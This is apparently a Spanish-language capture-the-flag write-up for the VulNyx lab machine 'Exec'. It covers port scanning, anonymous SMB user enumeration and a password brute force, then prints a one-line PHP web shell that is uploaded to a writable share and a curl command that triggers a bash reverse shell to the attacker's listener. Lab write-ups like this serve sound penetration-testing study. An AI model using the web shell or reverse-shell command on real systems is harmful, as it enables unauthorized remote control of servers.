VulNyx - Exec
- User Enumeration SMB - (RpcClient)
- Brute Force SMB - (NetExec)
- Abusing Bash Binary - (Sudo/Pivoting)
- Abusing Apt Binary - (Sudo/Privesc)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.74
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
Escaneo de servicios
❯ nmap -sV -sC -p 22,80,139,445 -v 192.168.1.74
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -2s
| smb2-time:
| date: 2024-04-16T09:45:07
|_ start_date: N/A
| nbstat: NetBIOS name: EXEC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| EXEC<00> Flags: <unique><active>
| EXEC<03> Flags: <unique><active>
| EXEC<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
HTTP TCP - 80
SMB TCP - 445
Realizo una enumeración básica del servicio SMB con netexec. En la imagen se puede ver el recurso server con permisos de lectura y escritura.
Me conecto con rpcclient a la máquina objetivo sin proporcionar credenciales de acceso, con lookupnames root
me devuelve el número SID S-1-22-1-0
asociado al usuario root.
Sabiendo el SID de root puedo enumerar usuarios del sistema mediante lookupsids
, busco información del SID S-1-22-1-1000
y me encuentra el usuario s3cur4.
El SID 1000 suele corresponder a la cuenta de usuario del sistema.
Realizo fuerza bruta al usuario s3cur4 y encuentro su contraseña.
Me conecto al recurso server mediante smbclient.
Una vez conectado al recurso subo el archivo door.php
porque tengo permisos de escritura.
Archivo door.php
.
<?php system($_GET['cmd']); ?>
Seguidamente compruebo que puedo ejecutar comandos.
Mediante curl me mando mando una shell de bash.
❯ curl -s "192.168.1.74/door.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.20%2F4444%200%3E%261%27"
Recibo una shell como usuario www-data.
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.20] from (UNKNOWN) [192.168.1.74] 58000
bash: cannot set terminal process group (498): Inappropriate ioctl for device
bash: no job control in this shell
www-data@exec:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@exec:/var/www/html$
Enumero permisos de sudo.
Consigo pasar de usuario www-data a s3cur4 de la siguiente forma:
Enumero de nuevo permisos de sudo.
Busco información del binario apt en gtfobins.
Obtengo el root.
Y aquí termina la máquina Exec.
Saludos!